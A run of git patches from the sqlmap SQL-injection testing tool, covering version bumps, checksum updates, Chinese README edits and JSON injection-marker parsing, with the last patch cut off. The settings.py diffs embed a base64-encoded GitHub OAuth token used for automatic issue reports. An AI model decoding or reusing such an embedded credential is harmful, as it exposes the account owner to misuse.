+26524b18e5c4a1334a6d0de42f174b948a8c36e95f2ec1f0bc6582a14d02e692 doc/translations/README-gr-GR.md +d505142526612a563cc71d6f99e0e3eed779221438047e224d5c36e8750961db doc/translations/README-hr-HR.md +cb24e114a58e7f03c37f0f0ace25c6294b61308b0d60402fe5f6b2a490c40606 doc/translations/README-id-ID.md e88d3312a2b3891c746f6e6e57fbbd647946e2d45a5e37aab7948e371531a412 doc/translations/README-in-HI.md -96fee9d16d53e9d129578dd169642355c898b35f08a9778005892b55e0d37f6b doc/translations/README-it-IT.md -ce785d16b86a9ea506a39b306967a374beb91ec6bb6120314d00f92d3875eaa2 doc/translations/README-ja-JP.md -336d3e7cb8d616e9f31d4c3dd9eb2d0eeb4881965abdfe4843c2d5dde0a644da doc/translations/README-ka-GE.md +34a6a3a459dbafef1953a189def2ff798e2663db50f7b18699710d31ac0237f8 doc/translations/README-it-IT.md +2120fd640ae5b255619abae539a4bd4a509518daeff0d758bbd61d996871282f doc/translations/README-ja-JP.md +a8027759aaad33b38a52533dbad60dfba908fe8ac102086a6ad17162743a4fd9 doc/translations/README-ka-GE.md 343e3e3120a85519238e21f1e1b9ca5faa3afe0ed21fbb363d79d100e5f4cf0c doc/translations/README-ko-KR.md -93ca1455b21632b5c2781e7ebda2b9939ab5dc955eb1dc454bcdaf9a3402dd24 doc/translations/README-nl-NL.md -38677a7b2889770af14350e7940f3712996568184a4cdb8c1c26433f954e0cee doc/translations/README-pl-PL.md -0654afd1261ac18e5043e06b91daa3632fc1a30a25fb262e4c05cedd2183fc15 doc/translations/README-pt-BR.md -f99a02bd1408d22b4e27f84c1b675259b61051784c5bd39e3029981ba65a8dda doc/translations/README-rs-RS.md -8e9f70d8179e3d148eea5e5961e2227f6ca8f48a2bb63c6b482d2f0c18d9c3d8 doc/translations/README-ru-RU.md -75c1951131122b512e84928b82371734b51382bb2859b15c6d97a1a904760fe8 doc/translations/README-sk-SK.md -e5815284f1a3eaba633a93fe71888f67b1dae4c9b85210d55b61339880d60b61 doc/translations/README-tr-TR.md -2db5cf68bba6c2a814d25783828a9dd1d802955bbabf296f232b50e0544081fb doc/translations/README-uk-UA.md -cc32e438a9a1a8a9cd23a21d84b38420b077a1233c22a87c5cdcdb0aed23730b doc/translations/README-vi-VN.md -24454feadbb9b7c55a51788a4e63d9302c17643b3eafc55ae6e6e3a163c0b61d doc/translations/README-zh-CN.md +f04fce43c6fb217f92b3bcae5ec151241d3c7ce951f5b98524d580aa696c5fa2 doc/translations/README-nl-NL.md +fc304f77f0d79ac648220cb804e5683abdf0f7d61863dda04a415297d1a835f4 doc/translations/README-pl-PL.md +f8a4659044c63f9e257960110267804184a3a9d5a109ec2c62b1f47bc45184e7 doc/translations/README-pt-BR.md +42f5d2ebffcf4b1be52005cc3e44f99df2c23713bd15c2bcedfe1c77760c3cf1 doc/translations/README-rs-RS.md +c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translations/README-ru-RU.md +622d9a1f22d07e2fefdebbd6bd74e6727dc14725af6871423631f3d8a20a5277 doc/translations/README-sk-SK.md +6d690c314fe278f8f949b27cd6f7db0354732c6112f2c8f764dcf7c2d12d626f doc/translations/README-tr-TR.md +0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md +b88046e2fc27c35df58fcd5bbeaec0d70d95ebf3953f2cf29cc97a0a14dad529 doc/translations/README-vi-VN.md +8b68be42ae66a805c7ecd01d14d36b0153c5acafa436d7f941caa014e31f9aef doc/translations/README-zh-CN.md 98dd22c14c12ba65ca19efca273ef1ef07c45c7832bfd7daa7467d44cb082e76 extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/beep/__init__.py @@ -153,7 +153,7 @@ c7b87d2db16e5159fc83bef0d03b3867af6913049ba6d207781008be4838dfe2 extra/shutils/ fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh c941be05376ba0a99d329e6de60e3b06b3fb261175070da6b1fc073d3afd5281 extra/shutils/pylint.sh -f9547996e657b882bee43007143b79f0ad155164b1fb866a8d739348c0f544bf extra/shutils/pypi.sh +bc2ceff560d11d696329bd976b14fbd8cddf428ad9f95eeb0a8f53e1afdc998b extra/shutils/pypi.sh df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh 1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/vulnserver/__init__.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -abe030ec82c6aa4a48c6f8dad67c4fe9537d8871b471be71c4f69656fafefb75 lib/core/settings.py +d8a36de7e404fb6b4a964b0ca95b65f74c3949426d4bb827b9ca3714a0af1305 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py @@ -472,7 +472,7 @@ a734d74599761cd1cf7d49c88deeb121ea57d80c2f0447e361a4e3a737154c0e plugins/generi fff84edc86b7d22dc01148fb10bb43d51cb9638dff21436fb94555db2a664766 plugins/generic/takeover.py 0bc5c150e8cf4f892aba1ff15fc8938c387fb2a173b77329a0dc4cdb8b4bb4e2 plugins/generic/users.py 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 plugins/__init__.py -e1745b85de63c04be89705f919830a0584464fd15d7dc61a0df0a7e9459d24c5 README.md +d5b3243c2b048aa8074d2d828f74fbf8237286c3d00fd868f1b4090c267b78ef README.md 6cfaaf6534688cecda09433246d0a8518f98ce5cf6d6a8159f24d70502cfc14f sqlmapapi.py 168309215af7dd5b0b71070e1770e72f1cbb29a3d8025143fb8aa0b88cd56b62 sqlmapapi.yaml 5e172e315524845fe091aa0b7b29303c92ac8f67594c6d50f026d627e415b7ed sqlmap.conf From 33babc024bcef7becefb06cfb33bd078d0f83685 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 15:02:58 +0100 Subject: [PATCH 053/853] Minor update --- lib/core/settings.py | 4 ++-- sha256sums.txt | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 9b6e1a765cf..b7417b059e3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.10" +VERSION = "1.8.3.11" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -702,7 +702,7 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX09GTWlsWUJVZWhiYWluS3I3T2hUbE9abHJ4cXNUTTFYeUxxTw" +GITHUB_REPORT_OAUTH_TOKEN = "Z2hwX0pNd0I2U25kN2Q5QmxlWkhxZmkxVXZTSHZiTlRDWjE5NUNpNA" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 diff --git a/sha256sums.txt b/sha256sums.txt index 0f490dc6c64..2d8ec9b9f96 100644 --- a/sha256sums.txt +++ b/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -d8a36de7e404fb6b4a964b0ca95b65f74c3949426d4bb827b9ca3714a0af1305 lib/core/settings.py +08c3e0414a5ed268faf6e4f939b035b85130cac36b28881fd6324b9c51812252 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py From 5845cf526b1c8952bf6311e458b836655c12ed7c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 1 Mar 2024 15:07:04 +0100 Subject: [PATCH 054/853] Minor update of code digest logic --- sha256sums.txt => data/txt/sha256sums.txt | 6 +++--- extra/shutils/precommit-hook.sh | 2 +- lib/core/common.py | 5 ++--- lib/core/settings.py | 2 +- 4 files changed, 7 insertions(+), 8 deletions(-) rename sha256sums.txt => data/txt/sha256sums.txt (99%) diff --git a/sha256sums.txt b/data/txt/sha256sums.txt similarity index 99% rename from sha256sums.txt rename to data/txt/sha256sums.txt index 2d8ec9b9f96..d0f0cd55ee9 100644 --- a/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -148,7 +148,7 @@ cb43de49a549ae5524f3066b99d6bc3b0b684c6e68c2e75602e87b2ac5718716 extra/shellcod 4d0a244b7c618e1539c72180f909792083c02cec31e27b44eec98b0055163536 extra/shutils/modernize.sh 74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh -c7b87d2db16e5159fc83bef0d03b3867af6913049ba6d207781008be4838dfe2 extra/shutils/precommit-hook.sh +dc35b51f5c9347eda8130106ee46bb051474fc0c5ed101f84abf3e546f729ceb extra/shutils/precommit-hook.sh 9a82c097f16a3062bd0e818bff12b4ec21b6f8f38b778604573a416589dfc450 extra/shutils/pycodestyle.sh fa1a42d189188770e82d536821d694626ca854438dadb9e08e143d3ece8c7e27 extra/shutils/pydiatra.sh 5da7d1c86ca93313477d1deb0d6d4490798a2b63a2dd8729094184625b971e11 extra/shutils/pyflakes.sh @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -67bad8157e09773db35c104bd847aa72c3a93dd2f03804c9738f0dd560a20bd8 lib/core/common.py +66e09a503381482d9807a14c3bfb18a2f22c2b176127a8e5fce2a131c21bdfac lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -08c3e0414a5ed268faf6e4f939b035b85130cac36b28881fd6324b9c51812252 lib/core/settings.py +b42288a6ebdf71f86fcc38399fdf9a2bbad9ffe71e94657b73ae5eba27a5f060 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/extra/shutils/precommit-hook.sh b/extra/shutils/precommit-hook.sh index 36f02e2ad1a..f030bea0d0c 100755 --- a/extra/shutils/precommit-hook.sh +++ b/extra/shutils/precommit-hook.sh @@ -12,7 +12,7 @@ chmod +x .git/hooks/pre-commit PROJECT="../../" SETTINGS="../../lib/core/settings.py" -DIGEST="../../sha256sums.txt" +DIGEST="../../data/txt/sha256sums.txt" declare -x SCRIPTPATH="${0}" diff --git a/lib/core/common.py b/lib/core/common.py index 09f8dbc35aa..eb59f79396f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1508,6 +1508,7 @@ def setPaths(rootPath): paths.COMMON_FILES = os.path.join(paths.SQLMAP_TXT_PATH, "common-files.txt") paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt") paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt') + paths.DIGEST_FILE = os.path.join(paths.SQLMAP_TXT_PATH, "sha256sums.txt") paths.SQL_KEYWORDS = os.path.join(paths.SQLMAP_TXT_PATH, "keywords.txt") paths.SMALL_DICT = os.path.join(paths.SQLMAP_TXT_PATH, "smalldict.txt") paths.USER_AGENTS = os.path.join(paths.SQLMAP_TXT_PATH, "user-agents.txt") @@ -1520,7 +1521,6 @@ def setPaths(rootPath): paths.MYSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mysql.xml") paths.ORACLE_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "oracle.xml") paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml") - paths.DIGEST_FILE = os.path.join(paths.SQLMAP_ROOT_PATH, "sha256sums.txt") for path in paths.values(): if any(path.endswith(_) for _ in (".txt", ".xml", ".tx_")): @@ -5583,8 +5583,7 @@ def checkSums(): filepath = os.path.join(paths.SQLMAP_ROOT_PATH, filename).replace('/', os.path.sep) checkFile(filepath) if not hashlib.sha256(open(filepath, "rb").read()).hexdigest() == expected: - print(filepath, hashlib.sha256(open(filepath, "rb").read()).hexdigest(), expected) retVal &= False - # break + break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index b7417b059e3..43a3cfb6379 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.11" +VERSION = "1.8.3.12" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 2ba488803a65c7d695689da27b28f4e8ff8fdb43 Mon Sep 17 00:00:00 2001 From: Nightsuki <9131047+Nightsuki@users.noreply.github.com> Date: Mon, 4 Mar 2024 22:28:31 +0800 Subject: [PATCH 055/853] Update: Chinese documents. (#5649) * Update Chinese documents. * Revise zh-CN document about RSS * Update: zh-CN document, keep terminology: commit --- doc/translations/README-zh-CN.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index cf3c1bb07ab..f3431d4667a 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -2,21 +2,21 @@ [![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.6|2.7|3.x](https://img.shields.io/badge/python-2.6|2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) -sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过带外数据连接的方式执行操作系统命令。 +sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示 +你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例 安装方法 ---- -你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码. -推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: +推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev @@ -33,15 +33,15 @@ sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.6**, **2. python sqlmap.py -hh -你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 +你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。 链接 ---- * 项目主页: https://sqlmap.org * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * X: [@sqlmap](https://twitter.com/sqlmap) From d85e09f163b130ada6c6831d339aadcb243b4acf Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 4 Mar 2024 15:39:58 +0100 Subject: [PATCH 056/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 4 ++++ lib/core/settings.py | 2 +- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d0f0cd55ee9..c9c8f2fbdad 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -110,7 +110,7 @@ c94d5c9ae4e4b996eaf0d06a6c5323a12f22653bb53c5eaf5400ee0bccf4a1eb doc/translatio 6d690c314fe278f8f949b27cd6f7db0354732c6112f2c8f764dcf7c2d12d626f doc/translations/README-tr-TR.md 0bccce9d2e48e7acc1ef126539a50d3d83c439f94cc6387c1331a9960604a2cd doc/translations/README-uk-UA.md b88046e2fc27c35df58fcd5bbeaec0d70d95ebf3953f2cf29cc97a0a14dad529 doc/translations/README-vi-VN.md -8b68be42ae66a805c7ecd01d14d36b0153c5acafa436d7f941caa014e31f9aef doc/translations/README-zh-CN.md +b553a179c731127a115d68dfb2342602ad8558a42aa123050ba51a08509483f6 doc/translations/README-zh-CN.md 98dd22c14c12ba65ca19efca273ef1ef07c45c7832bfd7daa7467d44cb082e76 extra/beep/beep.py 509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 extra/beep/__init__.py @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -66e09a503381482d9807a14c3bfb18a2f22c2b176127a8e5fce2a131c21bdfac lib/core/common.py +e4a608db78251ab01154f210f68023e0963721852abc9eea82ee0f087e6dcea2 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -b42288a6ebdf71f86fcc38399fdf9a2bbad9ffe71e94657b73ae5eba27a5f060 lib/core/settings.py +9ce5e85152ffb3a499325cd00b45bf33eaa7a0c79814993a3de55e474423efc7 lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index eb59f79396f..70641e39953 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -252,6 +252,10 @@ def getDbms(versions=None): if versions is None and Backend.getVersionList(): versions = Backend.getVersionList() + # NOTE: preventing ugly (e.g.) "back-end DBMS: MySQL Unknown" + if isListLike(versions) and UNKNOWN_DBMS_VERSION in versions: + versions = None + return Backend.getDbms() if versions is None else "%s %s" % (Backend.getDbms(), " and ".join(filterNone(versions))) @staticmethod diff --git a/lib/core/settings.py b/lib/core/settings.py index 43a3cfb6379..da4323d0b4e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.12" +VERSION = "1.8.3.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e0663ceb6ffde732a7f12240553c6167a5ce2ba5 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 29 Mar 2024 12:23:53 +0100 Subject: [PATCH 057/853] Patch related to the #4137 --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 12 ++++++++++-- lib/core/settings.py | 2 +- 3 files changed, 13 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c9c8f2fbdad..a8d151bc7d4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ f9c96cd3fe99578bed9d49a8bdf8d76836d320a7c48c56eb0469f48b36775c35 lib/controller 99d0e94dd5fe60137abf48bfa051129fb251f5c40f0f7a270c89fbcb07323730 lib/controller/__init__.py 826c33f1105be4c0985e1bbe1d75bdb009c17815ad6552fc8d9bf39090d3c40f lib/core/agent.py b2d69c99632da5c2acd0c0934e70d55862f1380a3f602cbe7456d617fb9c1fc9 lib/core/bigarray.py -e4a608db78251ab01154f210f68023e0963721852abc9eea82ee0f087e6dcea2 lib/core/common.py +ba3f0002aa93f8f21f06dbea343573c590b9e6ec160fc6668c15e68a970cfb12 lib/core/common.py 5c26b0f308266bc3a9679ef837439e38d1dc7a69eac6bd3422280f49aaf114d2 lib/core/compat.py b60c96780cad4a257f91a0611b08cfcc52f242908c5d5ab2bf9034ef07869602 lib/core/convert.py 5e381515873e71c395c77df00bf1dd8c4592afc6210a2f75cbc20daf384e539f lib/core/data.py @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py bbd1dcda835934728efc6d68686e9b0da72b09b3ee38f3c0ab78e8c18b0ba726 lib/core/revision.py eed6b0a21b3e69c5583133346b0639dc89937bd588887968ee85f8389d7c3c96 lib/core/session.py -9ce5e85152ffb3a499325cd00b45bf33eaa7a0c79814993a3de55e474423efc7 lib/core/settings.py +680edcfbb2082a837bb3a6b0be883e424db0398e296f5254efe2d3dc508874bb lib/core/settings.py 2bec97d8a950f7b884e31dfe9410467f00d24f21b35672b95f8d68ed59685fd4 lib/core/shell.py e90a359b37a55c446c60e70ccd533f87276714d0b09e34f69b0740fd729ddbf8 lib/core/subprocessng.py 54f7c70b4c7a9931f7ff3c1c12030180bde38e35a306d5e343ad6052919974cd lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 70641e39953..1be307c9de1 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -711,8 +711,16 @@ def walk(head, current=None): if value: walk(head, value) - deserialized = json.loads(testableParameters[parameter]) - walk(deserialized) + # NOTE: for cases with custom injection marker(s) inside (e.g. https://github.com/sqlmapproject/sqlmap/issues/4137#issuecomment-2013783111) - p.s. doesn't care too much about the structure (e.g. injection into the flat array values) + if CUSTOM_INJECTION_MARK_CHAR in testableParameters[parameter]: + for match in re.finditer(r'(\w+)[^\w]*"\s*:[^\w]*\w*%s' % re.escape(CUSTOM_INJECTION_MARK_CHAR), testableParameters[parameter]): + key = match.group(1) + value = testableParameters[parameter].replace(match.group(0), match.group(0).replace(CUSTOM_INJECTION_MARK_CHAR, BOUNDED_INJECTION_MARKER)) + candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % value, parameters) + + if not candidates: + deserialized = json.loads(testableParameters[parameter]) + walk(deserialized) if candidates: message = "it appears that provided value for %sparameter '%s' " % ("%s " % place if place != parameter else "", parameter) diff --git a/lib/core/settings.py b/lib/core/settings.py index da4323d0b4e..a8a3add6a24 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.8.3.13" +VERSION = "1.8.3.14" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 29ccb7f9a3efa37bd39ccd432dd13293c4fdb13a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 29 Mar 2024 22:24:20 +0100 Subject: [PATCH 058/853] Patch related to the #5669 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/utils/api.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index a8d151bc7d4..9e185457796 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -187,7 +187,7 @@ bf77f9fc4296f239687297aee1fd6113b34f855965a6f690b52e26bd348cb353 lib/core/profi 4eff81c639a72b261c8ba1c876a01246e718e6626e8e77ae9cc6298b20a39355 lib/core/replication.py 